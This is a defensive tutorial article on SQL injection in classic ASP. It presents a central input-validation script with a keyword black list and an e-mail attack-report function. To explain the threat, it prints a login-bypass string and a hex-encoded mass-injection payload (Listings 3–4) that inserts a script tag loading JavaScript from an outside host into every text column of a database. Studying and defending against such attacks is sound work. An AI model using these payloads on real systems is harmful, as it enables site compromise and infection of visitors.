SQL Injection in Classic ASP and Possible Solutions: ASP Alliance


SQL Injection in Classic ASP and Possible Solutions

page

by Ehsanul Haque
Feedback

Average Rating:

Views (Total / Last 10 Days): 95409/ 92

Introduction

Several communities have already started a few workarounds on this issue. HP Web Security Research Group published a tool named HP Scrawlr, to find out SQL Injection vulnerabilities in websites. Also, Microsoft recently released source code analyzer for SQL Injection. But sanitizing all the input fields is not an easy task for a large website.

SQL (structured query language) is a very powerful gun for hackers. We know there are several built-in processes in ASP.NET to protect it from SQL Injection and cross site scripting like ValidateRequest, "EnableEventValidation," etc. in page element. They inspect in every request variable for script to prevent attack in application. These features can be set from web.config which will work for every page centrally or can be set in individual pages from page element tag. We have to build similar functionality in classic ASP, so we will do it similarly to the ways ASP.NET protects the application from SQL Injection. Normally, hackers target the "information collection form" like the registration form, subscription form, login form, etc. Searching this type of form is not a hard task since hackers used a very smart crawler program. In the rest of the article, we will build a ValidateRequest system which can inspect all request variables centrally application-wise as well as page-wise like the built-in system in ASP.NET.

Problem Description

We can start describing the problem by giving a common example using Login process. A Common Practice of login form is below.

Listing 1

select * from users where userName='" &  Request.Form("userName") & 
"' and userPass='" & Request.Form("password") & "'

Inline SQL is a very bad practice since it can open the door for hackers. Inline query is used to build dynamic query by taking the user input. So hackers can convert the query to malicious SQL by inputting username as "a or 1=1'--" which will produce a query like below.

Listing 2

select * from users where userName='a or 1=1'-- and userPass =''….

The above will return true always and will welcome (enter) users to the site. This technique is very old and most of us know this technique. Modern hackers are smart enough. Their target was not just to enter into the system rather, but to also make the system worst by injecting bad script into the database and script file. In most of the cases these scripts contain viruses and the affected websites listed as phishing sites in search engines. The latest technique of attack is to execute a stored procedure in input fields like below.

Listing 3

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522
8323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7
220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D2073797
36F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414
E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653
D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E20546
1626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F72204
94E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E204
55845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D284
34F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C73637269707
4207372633D687474703A2F2F7777772E6B6164706F72742E636F6D2F622E6A733E3C2F73637269707
43E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F204
0542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4341544520546
1626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

It is quite difficult to understand the commands from the above inputs. But after decoding the HEX code to ASCII string, it can be found.

Listing 4

DECLARE @T VARCHAR(255),@C VARCHAR(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name,b.name FROM sysobjects a,syscolumns b 
WHERE 
a.id=b.id AND 
a.xtype='u' AND 
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
 EXEC('UPDATE ['+@T+'] 
 SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''
  <script src=http://www.kadport.com/b.js></script>''') 
 FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor;
EXEC(@S);--

We have multiple ways to block this type of injection. The recommended process is to use stored procedures with parameterized SQL because they are type safe and length specified. But for the large existing application which never used any parameterized query, it will be a time consuming task to convert every dynamic query to parameterized query. A quicker solution is to build a central monitoring system, which will validate the input variables from all the forms.

Sanitize Input Data

There are multiple ways to collect data in a form. We normally use post variable, query string, and cookie variables to pass information from one page to other pages in ASP. To protect our application from SQL injection attack, we need to validate input by checking the input type, length, format, range, etc. Also, we have to validate that no harmful SQL keyword is used as input data, like drop, declare, cementation ('--'), execute, varchar, char, etc. So first of all, we have to create a black list by which we can detect harmful execution. Validation can be done in both client side and server side. Do not rely on client side validation, since it can be easily bypassed by disabling javascript. So server side validation is a must. Client side validation can be used to improve the user experience and server performance by reducing round trips. We can consider the following functions to validate input string.

Listing 5

Dim BlackList, ErrorPage
BlackList = Array("=","#","$","%","^","&","*","|",";",_
                  "<",">","'","""","(",")",_
                  "--", "/*", "*/", "@@",_
                  "cursor","exec","execute",_
                  "nchar", "varchar", "nvarchar", "iframe"_
                  )
'Note: We can include following keyword to make a stronger scan but it will also 
'protect users to input these words even those are valid input
'  "!", "char", "alter", "begin", "cast", "create", 
 
'Populate the error page you want to redirect to in case the check fails.
ErrorPage = "../displaymessage.asp?msg=" & 
Server.URLEncode("Invalid Character Entered")
               
Function CheckStringForSQL(str,varType) 
  On Error Resume Next 
  Dim lstr 
  ' If the string is empty, return false that means pass
  If ( IsEmpty(str) ) Then
    CheckStringForSQL = false
    Exit Function
  ElseIf ( StrComp(str, "") = 0 ) Then
    CheckStringForSQL = false
    Exit Function
  End If
  
  lstr = LCase(str)
  ' Check if the string contains any patterns in our black list
  For Each s in BlackList
    If(IsExceptionList(s,varType)=False) then
        If ( InStr (lstr, s) <> 0 ) Then
          CheckStringForSQL = true
          Exit Function
        End If
    End If
  Next
  CheckStringForSQL = false
End Function

The function is very straight-forward. Note that in some cases you might need to allow some character as a valid input to give user flexibility. For example, the user might like to use "$" symbol in password field or our cookie might contain braces "(…)" symbol. So we can make an exception list according to storage variable type and can be checked like the following.

Listing 6

CookieExceptionList = Array("""","(",")")
Function IsExceptionList(str,varType)
    If(varType="cookie") then
        For Each item in CookieExceptionList
            If(item=str) then
                IsExceptionList=True
                Exit Function
            End If
        Next
    End If
    IsExceptionList=False
End Function

Now we can protect all the form variables using the function "CheckStringForSQL" in the following way.

Listing 7

For Each s in Request.Form
  If ( CheckStringForSQL(Request.Form(s),"form") ) Then
    PrepareReport("Post Varibale")
    ' Redirect to an error page
    Response.Redirect(ErrorPage)
  End If
Next

The same thing can be repeated for querystring variables and cookie variables. Without these variable types, a lot of asp developers use a third party control ASPUpload to upload files and transfer information from one page to another. That can also validate in the following way.

Listing 8

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check Upload forms data
'  Description: This function will validate ASP Upload Data
'  Note:        Because of ASPUpload's limitation this function 
'               need to be called after its save function from 
'               the relevant ASP page
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
function IsValidUploadFormData(dataCollection,redirect)
    for each item in dataCollection
        If ( CheckStringForSQL(item) ) Then
            PrepareReport("Upload Form")
            'Redirect to an error page
            if(redirect) then Response.Redirect(ErrorPage)
            IsValidUploadFormData = false
            Exit Function
         End If
    next
    IsValidUploadFormData = true
end function

Note: This function needs to be called after calling the Save function of AspUpload manually because before that the data will not be available in the collection.

After implementing the solution in project, bad try will protect like below.

Figure 1: Attempt to push bad script

Figure 2: Invalid input detected and showing a friendly error page

Now you might want to be smarter by generating an automated report including the attacking script, timing and IP address, referrer page, executing page, etc. while the attacker will try to inject. The idea is really great so that you will be aware of what the hacker actually wants to do with your website and from what page they are trying to attack. Let us generate an interactive and automated report using the following function.

Listing 9

Function PrepareReport(injectionType)
    'Build the messege
    Dim MessageBody
    MessageBody="<h1>One Sql Injection Attempt Was Blocked! </h1><br/>"
    MessageBody=MessageBody & "Attack Time: " & FormatDateTime(Now,3) & "<br/>"
    MessageBody=MessageBody & "Attaker IP Address: " &  
      Request.ServerVariables("REMOTE_HOST") & "<br/>"
    MessageBody=MessageBody & "Injection Type: " & injectionType & 
      "<hr size='1'/><br/>"
    MessageBody=MessageBody & "More Details Information: <br/>"
    
    MessageBody=MessageBody&"<table width='100%'>"
    MessageBody=MessageBody&
      "<tr><td colspan='2'><h2>Form Variables</h2></td></tr>"
    'List Form Data
    For Each s in Request.Form
        MessageBody=MessageBody&"<tr>"
        MessageBody=MessageBody&"   <td>" & s & "</td>"
        MessageBody=MessageBody&"   <td>" & Request.Form(s) & "</td>"
        MessageBody=MessageBody&"<tr>"
    Next
    MessageBody=MessageBody&
      "<tr><td colspan='2'><h2>QueryString Variables</h2></td></tr>"
    For Each s in Request.QueryString
        MessageBody=MessageBody&"<tr>"
        MessageBody=MessageBody&"   <td>" & s & "</td>"
        MessageBody=MessageBody&"   <td>" & Request.QueryString(s) & "</td>"
        MessageBody=MessageBody&"<tr>"
    Next
 
    MessageBody=MessageBody&
      "<tr><td colspan='2'><h2>Cookie Variables</h2></td></tr>"
    For Each s in Request.Cookies
        MessageBody=MessageBody&"<tr>"
        MessageBody=MessageBody&"   <td>" & s & "</td>"
        MessageBody=MessageBody&"   <td>" & Request.Cookies(s) & "</td>"
        MessageBody=MessageBody&"<tr>"
    Next
    
    MessageBody=MessageBody&"</table><br/>"
    MessageBody=MessageBody & "Script Page: " & GetCurrentPageUrl() & "<br/>"
    MessageBody=MessageBody & "Referer Page: " & GetRefererPageUrl() & 
      "<br/><br/>Automated Generated Report"
    
    Result= SendEmail("Sql Injection Attempt Was Detected by " & injectionType & 
      "!",MessageBody)
End Function
Function GetCurrentPageUrl()
    domainname = GetCurrentServerName() 
    filename = Request.ServerVariables("SCRIPT_NAME") 
    querystring = Request.ServerVariables("QUERY_STRING") 
    GetCurrentPageUrl= domainname & filename & "?" & querystring 
End Function
 
Function GetRefererPageUrl()
    GetRefererPageUrl= Request.ServerVariables("HTTP_REFERER") 
End Function
 
Function GetCurrentServerName()
    prot = "http" 
    https = lcase(request.ServerVariables("HTTPS")) 
    if https <> "off" then prot = "https" 
    domainname = Request.ServerVariables("SERVER_NAME") 
    GetCurrentServerName=prot & "://" & domainname 
End Function
 
Function GetPageNameFromPath(strPath)
    strPos= len(strPath)-InStrRev(strPath,"/")
    pageName=right(strPath,strPos)
    GetPageNameFromPath=pageName
End Function
 
Function GetCurrentPageName()
    scriptPath = Request.ServerVariables("SCRIPT_NAME") 
    pageName=GetPageNameFromPath(scriptPath)
    GetCurrentPageName=pageName
End Function

So our protection script is done. Now we can use it centrally for the whole application by adding this script link in the common page, master page or header page. Alternatively, we can use it for a single page validation by adding the script in the first line of the page. Page-by-page validation is a good practice because sometimes admin modules do not need this type of validation which can reduce their maintainability. Adding the link of the script in a page is very easy task.

Listing 10

<!--#include virtual="/utilities/sql-check.asp"-->

Avoid disclosing database error information

To avoid disclosing database error information use "try…catch" block where possible and provide a user friendly error message rather than showing system information. Also by configuring IIS, we can set a general error page. This way no one will get the actual database information. The way of creating custom error page for ASP application can be found here. In the error page, we can implement an automatic error reporting system which will trigger an email to the programmer with a detailed error report while the error will occur. A sample can be found in the source code.

Additional Consideration

Additionally, for new projects as well as old projects, we can maintain the following best practices to avoid the attack.

1. Use escape character routines to handle special characters

2. Use stored procedures rather than dynamic query where possible

3. Use parameterized query incase of dynamic query

4. Use HtmlEncode and decode techniques to show html data where possible

5. Use a least privileged database account- only stored procedure will have the permission for update/insert and script will have only read permission.

Downloads

[Download Sample]

Additional Resources

Microsoft's Opinionated Misfit Geek - Tools to block and eradicate SQL injection

Download Scrawlr

The Microsoft Source Code Analyzer for SQL Injection tool is available to find SQL injection vulnerabilities in ASP code

Microsoft Urlscan Filter v3.0 Beta (x86)

Filtering SQL injection from Classic ASP

Preventing SQL Injections in ASP

Conclusion

A proper validation can keep your website safe from hacking. The solution of this article will centralize the validation logic to sanitize input data so that anytime this logic can modify which will take effect in the whole site even within a sec. Also, this technique will help to protect from not only SQL-injection, but also cross-site scripting (XSS).